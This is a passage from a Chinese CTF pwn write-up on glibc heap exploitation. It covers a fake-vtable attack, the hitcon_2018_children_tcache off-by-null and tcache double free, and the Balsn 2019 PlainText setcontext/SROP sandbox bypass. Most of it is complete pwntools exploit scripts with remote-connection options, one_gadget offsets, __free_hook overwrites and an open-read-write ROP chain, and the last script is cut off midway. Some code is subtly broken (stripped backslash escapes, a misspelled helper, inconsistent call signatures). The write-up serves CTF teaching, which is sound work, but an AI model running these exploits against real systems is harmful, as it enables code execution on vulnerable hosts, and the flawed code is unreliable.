Attack`，我们需要在目标地址的头部附加一个`size`，于是我们这里可以使用题目给出的任意地址写来完成，然鹅，我们若传入了一个不合法的地址(没有写权限)，`read`不会抛出异常，而是会直接跳过，那么我们的输入将会残存在缓冲区，而程序在`main`函数是使用`_isoc99_scanf("%d",
&usr_choice);`来读取选项的，这导致残存在缓冲区的字符无法被取出，程序将进入死循环！**
我们的核心还是去伪造`vtable`，但是很不幸的，由于`Glibc-2.23`的`vtable`已经加入了只读保护，但我们可以直接自己写一个`fake_vtable`然后直接让`IO`结构体的`vtable`指向我们的`fake_vtable`即可。
首先我们需要在`IO`结构体的上方写一个`size`以便我们进行`Fastbin_Attack`：
every_where_edit(sh,str(libc.symbols['_IO_2_1_stdin_'] - 0x8),'x71')
delete(sh,2)
creat(sh,0x120,'A' * 0x100 + p64(0x110) + p64(0x70) + p64(libc.symbols['_IO_2_1_stdin_'] - 0x10))
然后我们只需要伪造并劫持vtable即可
creat(sh,0x100,p64(0) * 2 + p64(libc.address + 0xf02a4) * 19 + p64(0) * 3)
creat(sh,0x60, 'Chunk')
creat(sh,0x60, p64(0xffffffff) + "x00" * 0x10 + p64(heap_address + 0x4E0))
### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
domo=ELF('./domo', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./domo")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./domo")
def creat(sh,chunk_size,value):
sh.recvuntil('> ')
sh.sendline('1')
sh.recvuntil('size:n')
sh.sendline(str(chunk_size))
sh.recvuntil('content:n')
sh.send(value)
def delete(sh,index):
sh.recvuntil('> ')
sh.sendline('2')
sh.recvuntil('index:n')
sh.sendline(str(index))
def show(sh,index):
sh.recvuntil('> ')
sh.sendline('3')
sh.recvuntil('index:n')
sh.sendline(str(index))
def every_where_edit(sh,vuln_addr,vuln_byte):
sh.recvuntil('> ')
sh.sendline('4')
sh.recvuntil('addr:n')
sh.sendline(vuln_addr)
sh.recvuntil('num:n')
sh.send(vuln_byte)
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat(sh,0x40,'Chunk0')
creat(sh,0x40,'Chunk1')
creat(sh,0xF8,'Chunk2')
creat(sh,0xF8,'Chunk3')
creat(sh,0x100,'Chunk4')
creat(sh,0x100,'Chunk5')
creat(sh,0x68,'Chunk6')
creat(sh,0xF8,'Chunk7')
creat(sh,0x100,'Chunk8')
delete(sh,2)
delete(sh,0)
delete(sh,1)
creat(sh,0x40,'H')
show(sh,0)
heap_address = get_address(sh=sh,info='HEAP ADDRESS IS ',start_string='',address_len=6,offset=-0x28)
sh.sendline('3')
sh.recvuntil('index:')
sh.sendline('0')
delete(sh,3)
creat(sh,0xF8,'Libc--->')
show(sh,1)
libc.address = get_address(sh=sh,info='LIBC ADDRESS IS ',start_string='Libc--->',end_string='x0A',offset=-0x3C4D68)
delete(sh,5)
delete(sh,6)
creat(sh,0x68,'A'*0x60 + p64(0x70+0x110))
delete(sh,7)
every_where_edit(sh,str(libc.symbols['_IO_2_1_stdin_'] + 0xB8),'x71')
delete(sh,2)
creat(sh,0x120,'A' * 0x100 + p64(0x110) + p64(0x70) + p64(libc.symbols['_IO_2_1_stdin_'] + 0xB0))
creat(sh,0x100,p64(0) * 2 + p64(libc.address + 0xf02a4) * 19 + p64(0) * 3)
creat(sh,0x60, 'Chunk')
creat(sh,0x60, p64(0xffffffff) + "x00" * 0x10 + p64(heap_address + 0x4E0))
sh.interactive()
flag = get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x04 以 hitcon_2018_children_tcache 为例
### 题目信息
保护全开，64位程序，Glibc-2.27
### 漏洞分析
创建`Chunk`时，使用了`strcpy`函数，而这个函数会在将字符串转移后在末尾添加一个`x00`，因此此处存在一个`off-by-null`漏洞。
### 漏洞利用
#### 构造`Heap Overlap`
首先，这个题目中可以发现允许申请大小超过`0x400`的`chunk`，那么我们申请的大块就可以免受`Tcache`的影响，那么我们首先申请三个`chunk`用于攻击：
creat(sh,0x480,'Chunk_0')
creat(sh,0x78 ,'Chunk_1')
creat(sh,0x4F0,'Chunk_2')
creat(sh,0x20 ,'Chunk_3') # 用于防止最后一个Chunk被Top Chunk吞并
依次释放掉`chunk 0`和`chunk 1`，然后我们理论上就应该取回`chunk 1`来触发`Off-by-null`了，但是，需要注意的是，此处的释放函数有`memset(note_list[idx], 0xDA,
size_list[idx]);`，也就是说`xDA`将充斥整个数据空间，这会影响到我们后续的布置。
因此，我们先利用以下代码来清理`chunk 2`的`prev_size`域：
for i in range(9):
creat(sh, 0x78 - i, 'A' * (0x78 - i))
delete(sh,0)
清理完之后，取回`chunk 1`并触发`Off-by-Null`：
creat(sh,0x78,'B' * 0x70 + p64(0x480 + 0x10 + 0x70 + 0x10))
释放`Chunk 2`，`Heap Overlap`构造成功。
#### Leak Libc
解下来申请一个和原来的`Chunk 0`大小相同的`Chunk`，`main_arena`的地址将会被推到`Chunk
1`的数据域，于是可以得到`libc`基址。
libc.address=get_address(sh=sh,info='LIBC ADDRESS --> ',
start_string='',end_string='n',
offset=0x00007f77c161e000-0x7f77c1a09ca0)
#### Double Free
接下来我们通过触发`Double Free`来完成利用，和原来的`Chunk
1`大小相同的`Chunk`，此时，下标`0`和`2`的`chunk`将指向同一块内存，而`Glibc 2.27`中没有对`Tcache`中`Double
Free`的检查，故我们可以很方便的完成利用链构造：
creat(sh,0x78 ,'Chunk_1')
delete(sh,0)
delete(sh,2)
creat(sh,0x78,p64(libc.symbols['__free_hook']))
creat(sh,0x78,'Chunk_1')
creat(sh,0x78,p64(libc.address + 0x4f322))
delete(sh,3)
### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
HITCON_2018_children_tcache=ELF('./HITCON_2018_children_tcache', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./HITCON_2018_children_tcache")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./HITCON_2018_children_tcache")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def creat(sh,chunk_size,value):
sh.recvuntil('Your choice: ')
sh.sendline('1')
sh.recvuntil('Size:')
sh.sendline(str(chunk_size))
sh.recvuntil('Data:')
sh.sendline(value)
def show(sh,index):
sh.recvuntil('Your choice: ')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(index))
def delete(sh,index):
sh.recvuntil('Your choice: ')
sh.sendline('3')
sh.recvuntil('Index:')
sh.sendline(str(index))
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat(sh,0x480,'Chunk_0')
creat(sh,0x78 ,'Chunk_1')
creat(sh,0x4F0,'Chunk_2')
creat(sh,0x20 ,'/bin/shx00')
delete(sh,0)
delete(sh,1)
for i in range(9):
creat(sh, 0x78 - i, 'A' * (0x78 - i))
delete(sh,0)
creat(sh,0x78,'B' * 0x70 + p64(0x480 + 0x10 + 0x70 + 0x10))
delete(sh,2)
creat(sh,0x480,'Chunk_0')
show(sh,0)
libc.address=get_address(sh=sh,info='LIBC ADDRESS --> ',start_string='',end_string='n',offset=0x00007f77c161e000-0x7f77c1a09ca0)
creat(sh,0x78 ,'Chunk_1')
delete(sh,0)
delete(sh,2)
creat(sh,0x78,p64(libc.symbols['__free_hook']))
creat(sh,0x78,'Chunk_1')
creat(sh,0x78,p64(libc.address + 0x4f322))
delete(sh,3)
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x05 以 Balsn CTF 2019 pwn PlainText 为例
### 题目信息
保护全开，64位程序，Glibc-2.29
存在沙箱，可用的系统调用受到了限制。
### 漏洞分析
创建新`Chunk`时，存在`Off-by-null`。
### 漏洞利用
#### 清理bin
我们在启动程序后查看程序的bin空间，发现里面十分的凌乱
gef➤ heap bins
───────────────────── Tcachebins for arena 0x7f743c750c40 ─────────────────────
Tcachebins[idx=0, size=0x20] count=7 ← Chunk(addr=0x55dab47e4e60, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4700, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4720, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4740, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e43b0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e43d0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e43f0, size=0x20, flags=PREV_INUSE)
Tcachebins[idx=2, size=0x40] count=7 ← Chunk(addr=0x55dab47e5270, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4e80, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4ff0, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4ec0, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4af0, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4c20, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4850, size=0x40, flags=PREV_INUSE)
Tcachebins[idx=5, size=0x70] count=7 ← Chunk(addr=0x55dab47e59c0, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5b40, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5cc0, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5e40, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5fc0, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e6140, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5730, size=0x70, flags=PREV_INUSE)
Tcachebins[idx=6, size=0x80] count=7 ← Chunk(addr=0x55dab47e5920, size=0x80, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5aa0, size=0x80, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5c20, size=0x80, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5da0, size=0x80, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5f20, size=0x80, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e61b0, size=0x80, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e56b0, size=0x80, flags=PREV_INUSE)
Tcachebins[idx=11, size=0xd0] count=5 ← Chunk(addr=0x55dab47e5160, size=0xd0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4d90, size=0xd0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e49c0, size=0xd0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4630, size=0xd0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e42e0, size=0xd0, flags=PREV_INUSE)
Tcachebins[idx=13, size=0xf0] count=6 ← Chunk(addr=0x55dab47e6030, size=0xf0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4f00, size=0xf0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4760, size=0xf0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4500, size=0xf0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4b30, size=0xf0, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e52f0, size=0xf0, flags=PREV_INUSE)
────────────────────── Fastbins for arena 0x7f743c750c40 ──────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x55dab47e4a90, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4ab0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5900, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e59a0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5b20, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5ca0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5e20, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5fa0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e6120, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e4ad0, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e6230, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] ← Chunk(addr=0x55dab47e53e0, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5230, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e52b0, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x55dab47e6250, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5550, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5640, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5810, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5eb0, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5d30, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5bb0, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5a30, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e57a0, size=0x70, flags=PREV_INUSE)
Fastbins[idx=6, size=0x80] ← Chunk(addr=0x55dab47e55c0, size=0x80, flags=PREV_INUSE) ← Chunk(addr=0x55dab47e5880, size=0x80, flags=PREV_INUSE)
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
那么，为了我们利用的方便，我们先对这些bin进行清理。
# Clean Bins
for i in range(7 + 11):
creat(sh, 0x18 , 'Clean' + 'n')
for i in range(7 + 3):
creat(sh, 0x38 , 'Clean' + 'n')
for i in range(7 + 9):
creat(sh, 0x68 , 'Clean' + 'n')
for i in range(7 + 2):
creat(sh, 0x78 , 'Clean' + 'n')
for i in range(5):
creat(sh, 0xC8 , 'Clean' + 'n')
for i in range(6):
creat(sh, 0xE8 , 'Clean' + 'n')
#### 构造堆布局，触发Unlink
1. 首先申请`7`个`0x28`大小的`chunk`用于稍后填满`Tcache`。
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(64+i) + 'n')
2. 为了我们之后堆布局的方便，我们需要将接下来布局的`chunk`推到`0x?????????????000`的地址上，那么我们首先申请一个探测`Chunk`。
creat(sh, 0x18 , 'Test' + 'n')
那么我们需要在此处申请一个`0xBF8`的填充`Chunk`。
creat(sh, 0xBF8 , 'pad' + 'n')
3. 然后申请一个大小为`0x5E0`的`Chunk`和一个`0x18`大小的`Chunk`，这个`0x18`大小的`Chunk`是为了稍后释放`0x5E0`的`Chunk`时防止其被`Top Chunk`所吞并，释放大小为`0x5E0`的`Chunk`，现在，`Unsorted bin`中有一个`0x5F0`大小的`Chunk`，然后申请一个`0x618`大小的`Chunk`，`Unsorted bin`中的`0x5F0`大小的`Chunk`将会被加入`Large bin`。
creat(sh, 0x5E0 , 'chunk_72' + 'n')
creat(sh, 0x18 , 'chunk_73' + 'n')
delete(sh,72)
creat(sh, 0x618 , 'chunk_72' + 'n')
4. 接下来，申请一个`0x28`大小的`Chunk 0`，内部布置成一个`fake chunk`，`fake chunk`位于`Chunk 0 + 0x10`
creat(sh, 0x28 , 'a' * 8 + p64(0xe1) + p8(0x90))
⚠️：此时我们是从`Large_bin`中分割了`0x28`大小的内存，于是此`Chunk`中必定残留了我们所需要的`fd_nextsize`信息。分割剩余的`0x5C0`大小的`Chunk`将会被被加入`Unsorted
bin`中。
5. 接下来我们再申请`4`个`0x28`大小的`Chunk`用于后续构造，这里将它们命名成`Chunk 1 ~ Chunk 4`。
creat(sh, 0x28 , 'chunk_75' + 'n')
creat(sh, 0x28 , 'chunk_76' + 'n')
creat(sh, 0x28 , 'chunk_77' + 'n')
creat(sh, 0x28 , 'chunk_78' + 'n')
6. 然后我们先将`0x28`大小的`Tcache`填满。
for i in range(7):
delete(sh, 64 + i)
7. 释放`Chunk 1`和`Chunk 3`，这两个`Chunk`将会被加入`Fastbin`，现在有：`Fastbin <- Chunk 1 <- Chunk 3`。
delete(sh, 75)
delete(sh, 77)
8. 接下来先将`0x28`大小的`Tcache`清空。
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(64 + i) + 'n')
9. 然后申请一个`0x618`大小的`Chunk`，此时`Unsorted bin`中的`0x500`大小的`Chunk`将会被加入`Largebin`
creat(sh, 0x618 , 'chunk_75' + 'n')
10. 将`Chunk 1`和`Chunk 3`取回，利用`Chunk 3`上残留的`bk`信息构造`Chunk 3 -> bk = Chunk 0 + 0x10 = fake_chunk`。
creat(sh, 0x28 , 'b' * 8 + p8(0x10))
creat(sh, 0x28 , 'chunk_1')
11. 然后我们先将`0x28`大小的`Tcache`填满。
for i in range(7):
delete(sh, 64 + i)
12. 释放`Chunk 4`和`Chunk 0`，这两个`Chunk`将会被加入`Fastbin`，现在有：`Fastbin <- Chunk 4 <- Chunk 0`。
delete(sh, 78)
delete(sh, 74)
13. 接下来先将`0x28`大小的`Tcache`清空。
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(64 + i) + 'n')
14. 将`Chunk 0`和`Chunk 4`取回，利用`chunk 0`上残留的`fd`信息构造`Chunk 0 -> fd = Chunk 0 + 0x10 = fake_chunk`，并通过`Chunk 4`伪造`Chunk 5`的`prev_size`域，进而触发`off-by-null`。
creat(sh, 0x28 , p8(0x10))
creat(sh, 0x28 , 'c' * 0x20 + p64(0xe0))
15. 从`Large bin`中取回其中大小为`0x500`的`chunk`
creat(sh, 0x4F8 , 'n')
至此，我们的所有布置结束，我们来查看一下此时的堆布局：
16. 现在我们释放`chunk 5`，触发向后合并。
1. 对于`2.29`新增的保护`__glibc_unlikely (chunksize(p) != prevsize)`，取出`Chunk 5`的`prev_size`为`0xE0`，然后`p = p - 0xE0`，恰好移动到了`fake_chunk`处，它的`size`恰好为`0xE0`，保护通过。
2. 对于`2.27`新增的保护`chunksize (p) != prev_size (next_chunk (p))`，根据`0xE0`找到`next_chunk`为`Chunk 5`，验证`Chunk 5`的`prev_size`与`fake_chunk`的`size`相等，均为`0xE0`，保护通过。
3. 对于`2.23`就已经存在的保护`__builtin_expect (fd->bk != p || bk->fd != p, 0)`，`fake_chunk -> fd`指向`Chunk 3`，之前已伪造`Chunk 3 -> bk = Chunk 0 + 0x10 = fake_chunk`，`fake_chunk -> bk`指向`Chunk 0`，之前已伪造`Chunk 0 -> fd = Chunk 0 + 0x10 = fake_chunk`，保护通过。
delete(sh, 79)
至此，我们已经成功的构造了`Heap Overlap`。
但是正如我们所见，我们必须保证`heap`地址是`0x????????????0???`，那么，我们的成功率只有`1/16`。
#### 泄露信息
接下来我们进行信息泄露，我们申请一个`0x18`大小的`Chunk`，将`libc`地址推到`chunk 1`的位置,直接查看`chunk
1`的内容即可获取`libc`基址。
#Leak info
creat(sh, 0x18 , 'n')
show(sh,79)
libc.address = get_address(sh=sh,info='LIBC_ADDRESS --> ',start_string='',end_string='n',offset=0x7f30e85f4000-0x7f30e87d8ca0)
然后我们继续泄露堆地址，首先申请一个`0x38`大小的`chunk`，现在我们拥有两个指向`chunk
1`位置的指针，首先选取之前为了清理`bin`而申请的一个`0x38`大小的`chunk`，释放，然后释放一次`chunk
1`，使用另一个指针直接查看`chunk 1`的内容即可获取`heap`基址。
creat(sh, 0x38 , 'n')
delete(sh, 18)
delete(sh, 81)
show(sh,79)
heap_address = get__address(sh=sh,info='HEAP_ADDRESS --> ',start_string='',end_string='n',offset=-0x1270)
#### 劫持`__free_hook`，控制执行流(RIP)
首先申请一个`0x18`大小的`Chunk`，那个`Chunk`将位于`Chunk 1 + 0x10`，然后将其释放，再将之前申请的`Chunk
1`释放再取回，现在，我们可以操纵位于`Chunk 1 +
0x10`的所有域，于是我们达成任意地址读写，借助`__free_hook`可以直接升级为任意代码跳转。
creat(sh, 0x18 , 'n')
delete(sh, 18)
delete(sh, 76)
creat(sh, 0x28, p64(0) + p64(0x31) + p64(libc.symbols['__free_hook']))
creat(sh, 0x18 , 'n')
creat(sh, 0x18 , p64(0xDEADBEEF))
#### 沙箱绕过
首先我们有一个较为直接的思路是利用某种方式进行栈迁移，将`rsp`迁移到`heap`上，然后在`heap`上构造`ROP`链，进而完成利用。
这里我们需要先介绍`setcontext`函数。
函数原型：`int setcontext(const ucontext_t *ucp);`
这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流
以下代码是其在`Glibc 2.29`的实现
.text:0000000000055E00 public setcontext ; weak
.text:0000000000055E00 setcontext proc near ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 push rdi
.text:0000000000055E01 lea rsi, [rdi+128h]
.text:0000000000055E08 xor edx, edx
.text:0000000000055E0A mov edi, 2
.text:0000000000055E0F mov r10d, 8
.text:0000000000055E15 mov eax, 0Eh
.text:0000000000055E1A syscall ; $!
.text:0000000000055E1C pop rdx
.text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 jnb short loc_55E80
.text:0000000000055E25 mov rcx, [rdx+0E0h]
.text:0000000000055E2C fldenv byte ptr [rcx]
.text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E7D xor eax, eax
.text:0000000000055E7F retn
根据此处的汇编可以看出，我们如果可以劫持`RDX`，我们就可以间接控制`RSP`，但我们通过劫持`__free_hook`来实现任意代码执行时，我们事实上只能劫持第一个参数也就是`RDI`。
而我们在`libc`中恰好可以找到一个好用的`gadget`:
⚠️：此`gadget`无法通过`ROPgadget`找到，请使用`ropper`来代替查找。
那么我们接下来布置`ROP`链即可:
# SROP chain
frame = SigreturnFrame()
frame.rdi = heap_address + 0x30A0 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_address + 0x30a0 + 0x100
frame.rip = libc.address + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_address)
str_frame = str(frame)
payload = p64(libc.symbols['setcontext'] + 0x1d) + p64(heap_address + 0x30A0) + str_frame[0x10:]
# ROP chain
layout = [
# sys_open("./flag", 0)
libc.address + 0x0000000000047cf8, #: pop rax; ret;
2,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
# sys_read(flag_fd, heap, 0x100)
libc.address + 0x0000000000026542, #: pop rdi; ret;
3, # maybe it is 2
libc.address + 0x0000000000026f9e, #: pop rsi; ret;
heap_address + 0x10000,
libc.address + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc.address + 0x0000000000047cf8, #: pop rax; ret;
0,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
# sys_write(1, heap, 0x100)
libc.address + 0x0000000000026542, #: pop rdi; ret;
1,
libc.address + 0x0000000000026f9e, #: pop rsi; ret;
heap_address + 0x10000,
libc.address + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc.address + 0x0000000000047cf8, #: pop rax; ret;
1,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
# exit(0)
libc.address + 0x0000000000026542, #: pop rdi; ret;
0,
libc.address + 0x0000000000047cf8, #: pop rax; ret;
231,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
]
payload = payload.ljust(0x100, '') + flat(layout)
payload = payload.ljust(0x200, '') + '/flag'
最后我们直接触发即可
add(0x300, payload)
delete(56)
我们来简单分析一下我们的利用链：
1. 首先我们调用`free`后，流程会自动跳转至:
mov rdx, qword ptr [rdi + 8]
mov rax, qword ptr [rdi]
mov rdi, rdx
jmp rax
我们传入的`[rdi]`是`p64(libc.symbols['setcontext'] + 0x1d) + p64(heap_address +
0x30A0)`
2. 那么我们执行到`jmp rax`时，寄存器状况为`rax = libc.symbols['setcontext'] + 0x1d , rdx = heap_address + 0x30A0`，程序跳转执行`libc.symbols['setcontext'] + 0x1d`。
3. 接下来将我们实现布置好的信息转移到对应寄存器内，栈迁移完成。
4. 最后程序将执行我们的ROP链，利用结束。
### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
plain_note=ELF('./plain_note', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./plain_note")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./plain_note")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def creat(sh,chunk_size,value):
sh.recvuntil('Choice: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(chunk_size))
sh.recvuntil('Content: ')
sh.send(value)
def delete(sh,index):
sh.recvuntil('Choice: ')
sh.sendline('2')
sh.recvuntil('Idx: ')
sh.sendline(str(index))
def show(sh,index):
sh.recvuntil('Choice: ')
sh.sendline('3')
